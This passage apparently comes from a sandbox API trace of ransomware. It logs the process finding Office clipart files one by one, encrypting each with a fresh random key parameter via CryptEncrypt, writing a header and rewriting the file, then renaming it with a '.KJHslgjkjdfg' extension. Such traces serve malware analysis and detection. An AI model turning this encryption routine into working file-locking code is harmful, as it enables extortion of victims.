nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x370, lpOverlapped=0x0) returned 1 [0193.630] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x370, dwBufLen=0x370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x370) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.630] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x370, lpOverlapped=0x0) returned 1 [0193.630] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.630] SetEndOfFile (hFile=0x130) returned 1 [0193.633] GetProcessHeap () returned 0x2ef0000 [0193.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.633] GetProcessHeap () returned 0x2ef0000 [0193.633] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.kjhslgjkjdfg")) returned 1 [0193.736] CloseHandle (hObject=0x130) returned 1 [0193.736] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0193.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.737] GetProcessHeap () returned 0x2ef0000 [0193.737] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.737] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0193.739] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.739] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.739] GetProcessHeap () returned 0x2ef0000 [0193.739] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.739] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.739] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.739] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.739] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.739] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.739] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.740] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.740] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.740] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.740] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x27a2, lpOverlapped=0x0) returned 1 [0193.741] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x27b0) returned 1 [0193.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.741] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x27b0, lpOverlapped=0x0) returned 1 [0193.741] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.741] SetEndOfFile (hFile=0x130) returned 1 [0193.742] GetProcessHeap () returned 0x2ef0000 [0193.742] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.742] GetProcessHeap () returned 0x2ef0000 [0193.742] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.kjhslgjkjdfg")) returned 1 [0193.747] CloseHandle (hObject=0x130) returned 1 [0193.747] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0193.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.748] GetProcessHeap () returned 0x2ef0000 [0193.748] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.748] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.748] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.750] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.750] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.750] GetProcessHeap () returned 0x2ef0000 [0193.750] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.750] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.751] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.751] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.751] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.751] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.751] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.751] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b8, lpOverlapped=0x0) returned 1 [0193.751] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0) returned 1 [0193.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.752] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c0, lpOverlapped=0x0) returned 1 [0193.752] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.752] SetEndOfFile (hFile=0x130) returned 1 [0193.755] GetProcessHeap () returned 0x2ef0000 [0193.755] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.755] GetProcessHeap () returned 0x2ef0000 [0193.755] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.kjhslgjkjdfg")) returned 1 [0193.758] CloseHandle (hObject=0x130) returned 1 [0193.758] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0193.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.759] GetProcessHeap () returned 0x2ef0000 [0193.759] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.759] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.759] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.759] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.759] GetProcessHeap () returned 0x2ef0000 [0193.759] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.759] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.760] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.761] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.761] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.761] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.761] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6a0, lpOverlapped=0x0) returned 1 [0193.761] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6a0) returned 1 [0193.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.761] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6a0, lpOverlapped=0x0) returned 1 [0193.761] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.761] SetEndOfFile (hFile=0x130) returned 1 [0193.762] GetProcessHeap () returned 0x2ef0000 [0193.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.762] GetProcessHeap () returned 0x2ef0000 [0193.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.kjhslgjkjdfg")) returned 1 [0193.767] CloseHandle (hObject=0x130) returned 1 [0193.767] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0193.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.771] GetProcessHeap () returned 0x2ef0000 [0193.771] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.771] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.771] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.773] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.773] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.773] GetProcessHeap () returned 0x2ef0000 [0193.773] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.773] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.773] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.773] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.773] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.773] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.774] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.774] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.774] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.774] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.774] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5ec, lpOverlapped=0x0) returned 1 [0193.774] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f0) returned 1 [0193.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.774] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5f0, lpOverlapped=0x0) returned 1 [0193.774] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.774] SetEndOfFile (hFile=0x130) returned 1 [0193.777] GetProcessHeap () returned 0x2ef0000 [0193.777] HeapFree (in: hHeap=0x2ef0000, 